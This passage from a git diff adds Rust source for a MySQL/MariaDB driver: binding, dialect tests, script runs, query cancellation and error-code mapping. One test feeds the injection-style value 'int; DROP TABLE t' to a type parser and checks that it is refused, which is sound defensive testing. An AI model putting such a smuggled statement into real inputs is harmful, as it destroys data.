mysql_has_no_engine_row_address() { + let dialect = dialect(MySqlFlavour::MySql); + + assert_eq!(dialect.engine_row_id(EngineRowId::SqliteRowid), None); + assert_eq!(dialect.engine_row_id_column(EngineRowIdPart::PostgresCtid), None); + assert!(matches!( + dialect.placeholder(0, Value::Int(1), BindTarget::EngineRowId(EngineRowIdPart::SqliteRowid)), + Err(BindError::Unrepresentable { .. }) + )); + } + + #[test] + fn values_bind_as_their_columns_type() { + let unsigned = ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: false, + }); + let placeholder = bind(Value::UInt(u64::MAX), unsigned.clone()).expect("an unsigned bind"); + assert_eq!(placeholder.sql, "?"); + assert_eq!( + placeholder.param.map(|param| param.param_type().clone()), + Some(ParamType::UInt64) + ); + assert!(bind(Value::Int(7), unsigned).is_ok(), "a non-negative Int fits"); + + let bits = bind( + Value::Bits(BitString::from_u64(5, 10)), + ColumnKind::BitString { + length: Some(10), + varying: false, + }, + ) + .expect("bits"); + assert_eq!(bits.param.map(|param| param.value().clone()), Some(Value::UInt(5))); + + let stamp = bind( + Value::Null, + ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Offset, + }, + ) + .expect("a typed null"); + assert_eq!( + stamp.param.map(|param| param.param_type().clone()), + Some(ParamType::TimestampTz) + ); + assert!(matches!( + bind(Value::Text("x".to_owned()), ColumnKind::Date), + Err(BindError::ValueTypeMismatch { .. }) + )); + } + + #[test] + fn like_and_keyset_spelling() { + let dialect = dialect(MySqlFlavour::MariaDb); + + assert_eq!(dialect.escape_like_text("50%_!"), "50!%!_!!"); + assert_eq!( + dialect.like_predicate("`a`", "?", LikeForm::insensitive(false)), + "LOWER(`a`) LIKE LOWER(?)" + ); + assert_eq!( + dialect.like_predicate("`a`", "?", LikeForm::contains()), + "`a` LIKE ? ESCAPE '!'" + ); + assert_eq!( + dialect.row_value_after( + &["`a`".to_owned(), "`b`".to_owned()], + &["?".to_owned(), "?".to_owned()], + KeysetDirection::After + ), + "(`a`, `b`) > (?, ?)" + ); + assert_eq!(dialect.quote_identifier("a`b"), "`a``b`"); + assert_eq!( + dialect.insert_default_row("`t`"), + Some("INSERT INTO `t` () VALUES ()".to_owned()) + ); + assert!( + dialect + .ddl() + .is_some_and(|ddl| !ddl.capabilities().expression_index_keys) + ); + assert!( + self::dialect(MySqlFlavour::MySql) + .ddl() + .is_some_and(|ddl| ddl.capabilities().expression_index_keys) + ); + } + + #[test] + fn a_draft_type_classifies_like_the_catalogue() { + let dialect = dialect(MySqlFlavour::MySql); + + assert_eq!( + dialect.parse_type("tinyint(1)").map(|column| column.kind), + Ok(ColumnKind::Bool(BoolStorage::Integer)) + ); + assert_eq!( + dialect.parse_type("decimal(65,30)").map(|column| column.kind), + Ok(ColumnKind::Decimal { + precision: Some(65), + scale: Some(30) + }) + ); + assert_eq!( + dialect.parse_type("varchar(20)").map(|column| column.kind), + Ok(ColumnKind::Text { + length: TextLength::Varying(20) + }) + ); + assert!(dialect.parse_type("int; DROP TABLE t").is_err()); + } +} diff --git a/linux/crates/drivers/mysql/src/driver.rs b/linux/crates/drivers/mysql/src/driver.rs new file mode 100644 index 0000000000..c2daba04c9 --- /dev/null +++ b/linux/crates/drivers/mysql/src/driver.rs @@ -0,0 +1,89 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ + ConfigError, ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverCapabilities, DriverError, +}; +use tokio_util::sync::CancellationToken; + +use crate::capabilities::CAPABILITIES; +use crate::connection::MysqlConnection; +use crate::errors::map_pool_error; +use crate::mysql_manager::build_pool; +use crate::physical::MysqlEndpoint; +use crate::session_statements::SessionLimits; + +/// MySQL and MariaDB over sqlx, reached through whatever route the +/// target's transport leads to. +#[derive(Debug, Default, Clone, Copy)] +pub struct MysqlDriver; + +#[async_trait] +impl DatabaseDriver for MysqlDriver { + fn id(&self) -> &'static str { + "mysql" + } + + fn display_name(&self) -> &'static str { + "MySQL" + } + + fn capabilities(&self) -> &'static DriverCapabilities { + &CAPABILITIES + } + + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let ConnectTarget::Network(target) = &options.target else { + return Err(DriverError::Unsupported { + feature: "a database file", + }); + }; + if target.database.as_deref().is_none_or(str::is_empty) { + return Err(DriverError::Config(ConfigError::DatabaseRequired)); + } + if let Some(tls) = CAPABILITIES.tls.as_ref() { + target.tls.validate(tls, target.transport.kind().class())?; + } + let endpoint = Arc::new(MysqlEndpoint::new(target, options.liveness)?); + let pool = build_pool(endpoint.clone(), SessionLimits::workspace(&options.workspace_settings))?; + // The first pool member is opened here, so a connect fails with + // the reason the server gave and a cancel abandons the login. + let opening = async { + let first = pool.get().await.map_err(|error| map_pool_error(&error))?; + Ok::<_, DriverError>((first.flavour, first.version.clone())) + }; + let opened = tokio::select! { + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => opened, + }; + match opened { + Ok((flavour, version)) => Ok(Arc::new(MysqlConnection::new( + endpoint, + pool, + options.workspace_settings, + flavour, + flavour.server_info(&version), + ))), + Err(error) => { + pool.close(); + Err(error) + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn driver_metadata() { + assert_eq!(MysqlDriver.id(), "mysql"); + assert_eq!(MysqlDriver.display_name(), "MySQL"); + assert_eq!(MysqlDriver.capabilities().default_port(), Some(3306)); + } +} diff --git a/linux/crates/drivers/mysql/src/editor_run.rs b/linux/crates/drivers/mysql/src/editor_run.rs new file mode 100644 index 0000000000..61e0dc82c0 --- /dev/null +++ b/linux/crates/drivers/mysql/src/editor_run.rs @@ -0,0 +1,194 @@ +//! One editor run over the text protocol, as result events. +//! +//! A set starts with its first row, since that is where sqlx gives out +//! the columns, and ends with the OK packet behind it. The server stops +//! a plain SELECT at `sql_select_limit`, one row past the run's limit; +//! a SELECT with a LIMIT of its own, or one inside a routine, is read to +//! its end, and the rows past the limit are counted, never decoded. + +use std::sync::Arc; + +use futures_util::TryStreamExt; +use sqlx::mysql::{MySqlConnection, MySqlRow}; +use sqlx::{AssertSqlSafe, Either, Executor as _, Row as _}; +use tablepro_core::column::ResultColumn; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptTokenKind}; +use tablepro_core::{DriverError, ResultEvent, ResultSink, RowLimit, SinkFlow, Truncation, Value}; + +use crate::catalog::result_column; +use crate::decode::decode_row; +use crate::errors::map_error; +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; + +/// How many rows travel in one `Rows` event. +const ROWS_PER_EVENT: usize = 256; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub(crate) struct RunOutcome { + /// The sink stopped reading, so the run was cut short. + pub consumer_gone: bool, +} + +/// The texts to send. A script with mysql-client DELIMITER lines is +/// split where the client would split it, since the server does not +/// know the directive; anything else goes whole, and the server runs it +/// as one multi-statement batch. +pub(crate) fn batches(sql: &str) -> Vec<&str> { + let plan = ScriptPlan::build(sql, SqlGrammar::MySql, LexicalSettings::default_for(SqlGrammar::MySql)); + let directives = plan + .tokens(0..sql.len()) + .any(|token| token.kind == ScriptTokenKind::Directive); + if !directives || !plan.diagnostics().is_empty() { + return vec![sql]; + } + plan.statements().iter().map(|statement| statement.text(sql)).collect() +} + +pub(crate) async fn run_script( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + sql: &str, + limit: RowLimit, + sink: &mut dyn ResultSink, +) -> Result { + let mut emitter = Emitter { + sink, + limit: limit.get(), + open: None, + sets: 0, + gone: false, + }; + for text in batches(sql) { + let results = connection.fetch_many(sqlx::raw_sql(AssertSqlSafe(text.to_owned()))); + let mut results = std::pin::pin!(results); + while let Some(item) = results.try_next().await.map_err(|error| map_error(&error, flavour))? { + match item { + Either::Right(row) => emitter.row(&row).await, + Either::Left(done) => emitter.done(done.rows_affected()).await, + } + if emitter.gone { + return Ok(RunOutcome { consumer_gone: true }); + } + } + } + Ok(RunOutcome::default()) +} + +struct OpenSet { + batch: Vec>, + retained: u64, + seen: u64, +} + +struct Emitter<'a> { + sink: &'a mut dyn ResultSink, + limit: u64, + open: Option, + sets: usize, + gone: bool, +} + +impl Emitter<'_> { + async fn row(&mut self, row: &MySqlRow) { + if self.open.is_none() { + let columns: Arc<[ResultColumn]> = row + .columns() + .iter() + .map(|column| result_column(column, MySqlTimestampMode::SessionLocal)) + .collect(); + self.sets += 1; + self.open = Some(OpenSet { + batch: Vec::new(), + retained: 0, + seen: 0, + }); + self.send(ResultEvent::ResultSetStarted { columns }).await; + } + let limit = self.limit; + let Some(set) = self.open.as_mut() else { + return; + }; + set.seen += 1; + if set.retained >= limit { + return; + } + set.batch + .push(decode_row(row, MySqlWireFormat::Text, MySqlTimestampMode::SessionLocal)); + set.retained += 1; + if set.batch.len() >= ROWS_PER_EVENT { + let rows = std::mem::take(&mut set.batch); + self.send(ResultEvent::Rows(rows)).await; + } + } + + async fn done(&mut self, rows_affected: u64) { + let Some(set) = self.open.take() else { + self.send(ResultEvent::CommandCompleted { + rows_affected: Some(rows_affected), + }) + .await; + return; + }; + if !set.batch.is_empty() { + self.send(ResultEvent::Rows(set.batch)).await; + } + let (truncation, total_rows) = truncation(set.seen, self.limit); + if truncation != Truncation::Complete { + self.send(ResultEvent::RowLimitReached { retained: set.retained }).await; + } + self.send(ResultEvent::ResultSetFinished { + retained: set.retained, + total_rows, + truncation, + }) + .await; + } + + async fn send(&mut self, event: ResultEvent) { + if self.gone { + return; + } + self.gone = self.sink.accept(event).await == SinkFlow::ConsumerGone; + } +} + +/// Why a set ended where it did. Exactly one row past the limit is +/// where `sql_select_limit` stops the server, so how many more there +/// were is unknown; past that the set was read to its end and the total +/// is known. +pub(crate) fn truncation(seen: u64, limit: u64) -> (Truncation, Option) { + match seen { + seen if seen <= limit => (Truncation::Complete, Some(seen)), + seen if seen == limit.saturating_add(1) => (Truncation::ServerStopped, None), + seen => (Truncation::ReadPastLimit, Some(seen)), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_set_cut_by_the_server_is_told_from_one_read_past_the_limit() { + assert_eq!(truncation(40, 100), (Truncation::Complete, Some(40))); + assert_eq!(truncation(100, 100), (Truncation::Complete, Some(100))); + assert_eq!(truncation(101, 100), (Truncation::ServerStopped, None)); + assert_eq!(truncation(150_000, 100), (Truncation::ReadPastLimit, Some(150_000))); + } + + #[test] + fn delimiter_scripts_split_where_the_client_would() { + let script = "DELIMITER //\nCREATE PROCEDURE p() BEGIN SELECT 1; SELECT 2; END//\nDELIMITER ;\nCALL p();"; + + let split = batches(script); + + assert_eq!(split.len(), 2, "{split:?}"); + assert!(split[0].starts_with("CREATE PROCEDURE"), "{split:?}"); + assert!(split[0].ends_with("END"), "{split:?}"); + assert!(split[1].starts_with("CALL p()"), "{split:?}"); + assert_eq!(batches("SELECT 1; SELECT 2"), ["SELECT 1; SELECT 2"]); + } +} diff --git a/linux/crates/drivers/mysql/src/editor_session.rs b/linux/crates/drivers/mysql/src/editor_session.rs new file mode 100644 index 0000000000..4b9568f816 --- /dev/null +++ b/linux/crates/drivers/mysql/src/editor_session.rs @@ -0,0 +1,265 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::Duration; + +use async_trait::async_trait; +use sqlx::mysql::MySqlConnection; +use sqlx::{AssertSqlSafe, Connection as _, Executor as _}; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState, LivenessPolicy, + LossPhase, ResultSink, RowLimit, RunEnd, RunOptions, RunSummary, TimeoutPhase, TransactionState, UserSql, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::cancel::ControlLink; +use crate::editor_run::{RunOutcome, run_script}; +use crate::errors::map_error; +use crate::flavour::MySqlFlavour; +use crate::physical::{MysqlEndpoint, SessionKind}; +use crate::session_statements::{SessionLimits, select_limit}; +use crate::transaction_probe::TransactionProbe; + +/// The tab's own connection and the row limit last set on it. +struct Held { + connection: MySqlConnection, + select_limit: Option, +} + +/// One editor tab's own connection to the server. +/// +/// The session runs on the server's default settings, as the mysql +/// client's would: its zone, its sql_mode and its collation. Only the +/// read-only default, the lock bounds and the row limit are its own. +pub(crate) struct MysqlEditorSession { + id: EditorSessionId, + held: tokio::sync::Mutex>, + connection_id: u64, + flavour: MySqlFlavour, + control: ControlLink, + probe: TransactionProbe, + running: AtomicBool, + lost: AtomicBool, + /// Cancelled when the session closes, so a running statement stops. + closing: CancellationToken, + liveness: LivenessPolicy, +} + +/// Why a run stopped before it finished. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Stop { + Cancelled, + DeadlineElapsed, +} + +impl MysqlEditorSession { + pub(crate) async fn open( + endpoint: Arc, + limits: SessionLimits, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let limits = SessionLimits { + statement_timeout: options.statement_timeout, + ..limits + }; + let physical = endpoint.connect_physical(SessionKind::Editor, &limits, &cancel).await?; + let liveness = *endpoint.liveness(); + Ok(Arc::new(Self { + id: EditorSessionId::new(), + held: tokio::sync::Mutex::new(Some(Held { + connection: physical.connection, + select_limit: None, + })), + connection_id: physical.connection_id, + flavour: physical.flavour, + control: ControlLink::new(endpoint), + probe: TransactionProbe::new(physical.flavour), + running: AtomicBool::new(false), + lost: AtomicBool::new(false), + closing: CancellationToken::new(), + liveness, + })) + } + + /// Run the script, stopping it on a cancel, at the deadline or when + /// the session closes. A stop is KILL QUERY on a connection of the + /// session's own; the statement then has the cancel grace to end. + async fn supervise( + &self, + held: &mut Held, + sql: &UserSql, + options: &RunOptions, + sink: &mut dyn ResultSink, + ) -> Result<(RunEnd, bool), DriverError> { + let limit = options.row_limit; + if let Err(error) = set_select_limit(held, self.flavour, limit).await { + return finished(Err(error)).map(|end| (end, true)); + } + let deadline = options.deadline.map(|limit| Instant::now() + limit); + let running = run_script(&mut held.connection, self.flavour, sql.as_str(), limit, sink); + let mut running = std::pin::pin!(running); + let stop = tokio::select! { + outcome = &mut running => return finished(outcome).map(|end| (end, true)), + () = options.cancel.cancelled() => Stop::Cancelled, + () = self.closing.cancelled() => Stop::Cancelled, + () = elapsed(deadline) => Stop::DeadlineElapsed, + }; + let until = Instant::now() + self.liveness.cancel_grace; + let killing = self.control.kill_query(self.connection_id); + let mut killing = std::pin::pin!(killing); + let mut delivered = None; + let settled = loop { + tokio::select! { + biased; + sent = &mut killing, if delivered.is_none() => delivered = Some(sent.is_ok()), + outcome = &mut running => break Some(outcome), + () = tokio::time::sleep_until(until) => break None, + } + }; + let server_cancelled = delivered == Some(true); + let end = match stop { + Stop::Cancelled => RunEnd::Cancelled, + Stop::DeadlineElapsed => RunEnd::TimedOut { server_cancelled }, + }; + match settled { + // Whatever the statement did once it was stopped, the run + // ends as stopped: its result may be cut short by the KILL. + Some(Ok(_)) => Ok((end, true)), + Some(Err(DriverError::ConnectionLost { during })) => Err(DriverError::ConnectionLost { during }), + Some(Err(_)) => Ok((end, true)), + // The statement would not stop, so the connection still has + // its answer coming and cannot take another run. + None => Ok((end, false)), + } + } +} + +async fn set_select_limit(held: &mut Held, flavour: MySqlFlavour, limit: RowLimit) -> Result<(), DriverError> { + if held.select_limit == Some(limit.get()) { + return Ok(()); + } + held.connection + .execute(AssertSqlSafe(select_limit(limit.get()))) + .await + .map_err(|error| map_error(&error, flavour))?; + held.select_limit = Some(limit.get()); + Ok(()) +} + +fn finished(outcome: Result) -> Result { + match outcome { + Ok(RunOutcome { consumer_gone: true }) => Ok(RunEnd::Cancelled), + Ok(RunOutcome { consumer_gone: false }) => Ok(RunEnd::Completed), + // A connection that is gone ends the session; a statement the + // server refused ends the run. + Err(error @ DriverError::ConnectionLost { .. }) => Err(error), + Err(error) => Ok(RunEnd::Failed(error)), + } +} + +async fn elapsed(deadline: Option) { + match deadline { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } +} + +#[async_trait] +impl EditorSession for MysqlEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + if self.lost.load(Ordering::SeqCst) { + EditorSessionState::Lost + } else if self.running.load(Ordering::SeqCst) { + EditorSessionState::Running + } else { + EditorSessionState::Ready + } + } + + async fn run( + &self, + sql: UserSql, + options: RunOptions, + mut sink: Box, + ) -> Result { + let Ok(mut guard) = self.held.try_lock() else { + return Err(DriverError::EditorSessionBusy); + }; + let Some(held) = guard.as_mut() else { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + }; + let started = Instant::now(); + self.running.store(true, Ordering::SeqCst); + let supervised = self.supervise(held, &sql, &options, sink.as_mut()).await; + let transaction_state = match &supervised { + Ok((_, true)) => { + let asking = self.probe.state(&mut held.connection); + tokio::time::timeout(self.liveness.cancel_grace, asking) + .await + .unwrap_or(TransactionState::Unknown) + } + _ => TransactionState::Unknown, + }; + self.running.store(false, Ordering::SeqCst); + let end = match supervised { + Ok((end, true)) => end, + Ok((end, false)) => { + self.lost.store(true, Ordering::SeqCst); + *guard = None; + end + } + Err(error) => { + self.lost.store(true, Ordering::SeqCst); + *guard = None; + return Err(error); + } + }; + Ok(RunSummary { + elapsed: started.elapsed(), + end, + transaction_state, + }) + } + + async fn transaction_state(&self, options: CallOptions) -> Result { + let asking = async { + let mut guard = self.held.lock().await; + match guard.as_mut() { + Some(held) => Ok(self.probe.state(&mut held.connection).await), + None => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + } + }; + tokio::select! { + biased; + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + () = elapsed(options.deadline()) => Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }), + state = asking => state, + } + } + + async fn close(&self) { + self.lost.store(true, Ordering::SeqCst); + self.closing.cancel(); + // A statement that will not stop keeps the connection, which + // closes when the session itself is dropped. + let grace = self.liveness.cancel_grace + Duration::from_millis(100); + if let Ok(mut guard) = tokio::time::timeout(grace, self.held.lock()).await + && let Some(held) = guard.take() + { + let _ = tokio::time::timeout(self.liveness.close_timeout, held.connection.close()).await; + } + self.control.close().await; + } +} diff --git a/linux/crates/drivers/mysql/src/encode.rs b/linux/crates/drivers/mysql/src/encode.rs new file mode 100644 index 0000000000..af4c4faf21 --- /dev/null +++ b/linux/crates/drivers/mysql/src/encode.rs @@ -0,0 +1,64 @@ +//! Parameters bound by the type the dialect gave them. +//! +//! The `ParamType` was checked against the value when the parameter was +//! built, so here it only decides the wire form. Integers stay 64-bit: +//! the server converts to the column's width and reports what does not +//! fit, where a narrowing here would fail first with a vaguer message. + +use sqlx::MySql; +use sqlx::mysql::MySqlArguments; +use sqlx::query::Query; +use tablepro_core::DriverError; +use tablepro_core::export::value_to_text; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; + +pub(crate) type MySqlQuery<'q> = Query<'q, MySql, MySqlArguments>; + +pub(crate) fn bind_all<'q>(mut query: MySqlQuery<'q>, params: &[BoundParam]) -> Result, DriverError> { + for param in params { + query = bind_one(query, param)?; + } + Ok(query) +} + +fn bind_one<'q>(query: MySqlQuery<'q>, param: &BoundParam) -> Result, DriverError> { + let value = param.value(); + Ok(match (param.param_type(), value) { + (_, Value::Null) => query.bind(None::), + (_, Value::Bool(flag)) => query.bind(*flag), + (_, Value::Int(integer)) => query.bind(*integer), + (_, Value::UInt(integer)) => query.bind(*integer), + (ParamType::Float32, Value::Float32(real)) => query.bind(*real), + (_, Value::Float32(real)) => query.bind(f64::from(*real)), + (_, Value::Float64(real)) => query.bind(*real), + (_, Value::Bytes(bytes)) => query.bind(bytes.clone()), + // A BIT column takes the number its bits spell. + (_, Value::Bits(bits)) => match bits.to_u64() { + Some(number) => query.bind(number), + None => return Err(unrepresentable(value)), + }, + (_, Value::Date(Temporal::Finite(date))) => query.bind(*date), + (_, Value::Timestamp(Temporal::Finite(stamp))) => query.bind(*stamp), + // The workspace session reads and writes TIMESTAMP in UTC, so the + // instant goes as its UTC wall time. + (_, Value::TimestampTz(Temporal::Finite(stamp))) => query.bind(stamp.utc()), + (_, Value::Date(_) | Value::Timestamp(_) | Value::TimestampTz(_)) => return Err(unrepresentable(value)), + (_, Value::Decimal(decimal)) if !decimal.is_finite() => return Err(unrepresentable(value)), + (_, Value::Undecodable(_) | Value::Array(_)) => return Err(unrepresentable(value)), + // Decimals in full, TIME with its sign and hundreds of hours, JSON + // as written, enum labels and UUIDs: the server parses the text + // into the column's own type. + (_, other) => match value_to_text(other) { + Some(text) => query.bind(text), + None => return Err(unrepresentable(value)), + }, + }) +} + +fn unrepresentable(value: &Value) -> DriverError { + DriverError::Protocol(format!( + "a {} value cannot be bound as a MySQL parameter", + value.variant_name() + )) +} diff --git a/linux/crates/drivers/mysql/src/errors.rs b/linux/crates/drivers/mysql/src/errors.rs new file mode 100644 index 0000000000..1f60d2226d --- /dev/null +++ b/linux/crates/drivers/mysql/src/errors.rs @@ -0,0 +1,340 @@ +use std::error::Error as StdError; +use std::io; + +use deadpool::managed::{PoolError, TimeoutType}; +use sqlx::mysql::MySqlDatabaseError; +use tablepro_core::{ + DriverError, LossPhase, NetworkEndpoint, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TimeoutPhase, TlsFailure, + TransportError, +}; + +use crate::flavour::MySqlFlavour; + +/// ER_ACCESS_DENIED_ERROR. +pub(crate) const ACCESS_DENIED: u16 = 1045; +/// ER_CON_COUNT_ERROR. +pub(crate) const TOO_MANY_CONNECTIONS: u16 = 1040; +/// ER_LOCK_WAIT_TIMEOUT. +pub(crate) const LOCK_WAIT_TIMEOUT: u16 = 1205; +/// ER_QUERY_INTERRUPTED, what KILL QUERY makes the statement fail with. +pub(crate) const QUERY_INTERRUPTED: u16 = 1317; +/// ER_CANT_EXECUTE_IN_READ_ONLY_TRANSACTION. +pub(crate) const READ_ONLY_TRANSACTION: u16 = 1792; +/// ER_WARNING_NOT_COMPLETE_ROLLBACK: a table that cannot roll back was +/// written inside the transaction. +pub(crate) const INCOMPLETE_ROLLBACK: u16 = 1196; +/// MySQL's ER_QUERY_TIMEOUT for `max_execution_time`. +pub(crate) const MYSQL_QUERY_TIMEOUT: u16 = 3024; +/// MariaDB's ER_STATEMENT_TIMEOUT for `max_statement_time`. +pub(crate) const MARIADB_STATEMENT_TIMEOUT: u16 = 1969; +/// ER_SECURE_TRANSPORT_REQUIRED under `require_secure_transport`, which +/// MariaDB took over with MySQL's number. +pub(crate) const SECURE_TRANSPORT_REQUIRED: u16 = 3159; +/// ER_SERVER_SHUTDOWN. +const SERVER_SHUTDOWN: u16 = 1053; +/// MariaDB's ER_CONNECTION_KILLED. +const MARIADB_CONNECTION_KILLED: u16 = 1927; +/// MySQL's ER_CLIENT_INTERACTION_TIMEOUT, sent before the server closes +/// an idle session. +const MYSQL_CLIENT_INTERACTION_TIMEOUT: u16 = 4031; + +/// What a sqlx error on an open connection means to the app. +/// No reply came, so what was sent may or may not have run. A timeout +/// the server enforced is its reply. +pub(crate) fn reply_lost(error: &DriverError) -> bool { + matches!( + error, + DriverError::ConnectionLost { .. } + | DriverError::Transport(_) + | DriverError::Timeout { + server_cancelled: false, + .. + } + ) +} + +pub(crate) fn map_error(error: &sqlx::Error, flavour: MySqlFlavour) -> DriverError { + map_with(error, Some(flavour)) +} + +/// What a failed connect means. The flavour is not known before the +/// login, so the numbers either server uses are both read. +pub(crate) fn map_connect_error(error: &sqlx::Error, endpoint: &NetworkEndpoint) -> DriverError { + match error { + sqlx::Error::Io(io) => match tablepro_net::tls::classify(io) { + Some((failure, detail)) => DriverError::Tls { failure, detail }, + None => connect_io_error(io, endpoint), + }, + other => match map_with(other, None) { + DriverError::ConnectionLost { .. } => DriverError::ConnectionLost { + during: LossPhase::Connect, + }, + mapped => mapped, + }, + } +} + +fn map_with(error: &sqlx::Error, flavour: Option) -> DriverError { + match error { + sqlx::Error::Database(database) => match database.try_downcast_ref::() { + Some(mysql) => classify_number(diagnostics_of(mysql), flavour), + None => DriverError::server(database.message().to_owned()), + }, + // A TLS failure after the handshake reached rustls surfaces as an + // I/O error carrying the rustls error. + sqlx::Error::Io(io) => match tablepro_net::tls::classify(io) { + Some((failure, detail)) => DriverError::Tls { failure, detail }, + None => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + }, + sqlx::Error::Tls(tls) => tls_error(tls.as_ref()), + sqlx::Error::PoolTimedOut => DriverError::Busy, + sqlx::Error::PoolClosed | sqlx::Error::WorkerCrashed => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + sqlx::Error::ColumnDecode { index, source } => DriverError::Decode { + column: index.clone(), + detail: source.to_string(), + }, + other => DriverError::Protocol(other.to_string()), + } +} + +/// A TLS error with no rustls error behind it is sqlx's own refusal, +/// which it raises when the server does not offer TLS at all. +fn tls_error(error: &(dyn StdError + 'static)) -> DriverError { + match tablepro_net::tls::classify(error) { + Some((failure, detail)) => DriverError::Tls { failure, detail }, + None => DriverError::Tls { + failure: TlsFailure::ServerRefusedTls, + detail: error.to_string(), + }, + } +} + +/// An I/O error before the login finished: one the route itself raised +/// is a transport failure, one after the server answered is a lost +/// connection. +fn connect_io_error(io: &io::Error, endpoint: &NetworkEndpoint) -> DriverError { + match io.kind() { + io::ErrorKind::ConnectionRefused => DriverError::Transport(TransportError::Refused { + endpoint: endpoint.clone(), + }), + io::ErrorKind::TimedOut => DriverError::Transport(TransportError::Timeout { + phase: TimeoutPhase::Connect, + }), + io::ErrorKind::UnexpectedEof | io::ErrorKind::ConnectionReset | io::ErrorKind::BrokenPipe => { + DriverError::ConnectionLost { + during: LossPhase::Connect, + } + } + _ => DriverError::Transport(TransportError::Unreachable { + endpoint: endpoint.clone(), + detail: io.to_string(), + }), + } +} + +pub(crate) fn diagnostics_of(mysql: &MySqlDatabaseError) -> ServerDiagnostics { + ServerDiagnostics::new( + Some(ServerCode::MySql { + number: mysql.number(), + sqlstate: mysql.code().map(str::to_owned), + }), + mysql.message().to_owned(), + ) +} + +/// The error numbers the app acts on. `None` reads both servers' numbers, +/// for an error that came before the server said which it is. +pub(crate) fn classify_number(diagnostics: ServerDiagnostics, flavour: Option) -> DriverError { + let number = match &diagnostics.code { + Some(ServerCode::MySql { number, .. }) => *number, + _ => return DriverError::reported(diagnostics), + }; + let mysql = flavour != Some(MySqlFlavour::MariaDb); + let mariadb = flavour != Some(MySqlFlavour::MySql); + match number { + ACCESS_DENIED => DriverError::auth(Some(diagnostics)), + READ_ONLY_TRANSACTION => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), + QUERY_INTERRUPTED => DriverError::Cancelled, + LOCK_WAIT_TIMEOUT => DriverError::Timeout { + phase: TimeoutPhase::LockWait, + server_cancelled: true, + }, + TOO_MANY_CONNECTIONS => DriverError::Busy, + MYSQL_QUERY_TIMEOUT if mysql => statement_timeout(), + MARIADB_STATEMENT_TIMEOUT if mariadb => statement_timeout(), + SECURE_TRANSPORT_REQUIRED => requires_tls(diagnostics), + SERVER_SHUTDOWN => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + MARIADB_CONNECTION_KILLED if mariadb => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + MYSQL_CLIENT_INTERACTION_TIMEOUT if mysql => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + _ => DriverError::reported(diagnostics), + } +} + +fn statement_timeout() -> DriverError { + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + } +} + +fn requires_tls(diagnostics: ServerDiagnostics) -> DriverError { + DriverError::Tls { + failure: TlsFailure::ServerRequiresTls, + detail: diagnostics.to_string(), + } +} + +/// The server's error number, where the error is one the server sent. +pub(crate) fn server_number(error: &DriverError) -> Option { + let diagnostics = match error { + DriverError::Server(diagnostics) => diagnostics.as_ref(), + DriverError::Auth { diagnostics } => diagnostics.as_deref()?, + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => diagnostics.as_ref(), + _ => return None, + }; + match diagnostics.code { + Some(ServerCode::MySql { number, .. }) => Some(number), + _ => None, + } +} + +/// A pool refusal. A wait that runs out means every slot is busy, which +/// is the server having no room rather than a dead link. +pub(crate) fn map_pool_error(error: &PoolError) -> DriverError { + match error { + PoolError::Timeout(TimeoutType::Wait) => DriverError::Busy, + PoolError::Timeout(TimeoutType::Create) => DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }, + PoolError::Timeout(TimeoutType::Recycle) => DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }, + PoolError::Backend(error) => error.clone(), + PoolError::Closed => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + other => DriverError::Protocol(other.to_string()), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn numbered(number: u16) -> ServerDiagnostics { + ServerDiagnostics::new( + Some(ServerCode::MySql { + number, + sqlstate: Some("HY000".to_owned()), + }), + "message", + ) + } + + fn is_statement_timeout(error: &DriverError) -> bool { + matches!( + error, + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + } + ) + } + + #[test] + fn code_table_per_flavour() { + for flavour in [Some(MySqlFlavour::MySql), Some(MySqlFlavour::MariaDb), None] { + let classify = |number| classify_number(numbered(number), flavour); + assert!(matches!(classify(ACCESS_DENIED), DriverError::Auth { .. })); + assert!(matches!( + classify(READ_ONLY_TRANSACTION), + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_)) + )); + assert_eq!(classify(QUERY_INTERRUPTED), DriverError::Cancelled); + assert!(matches!( + 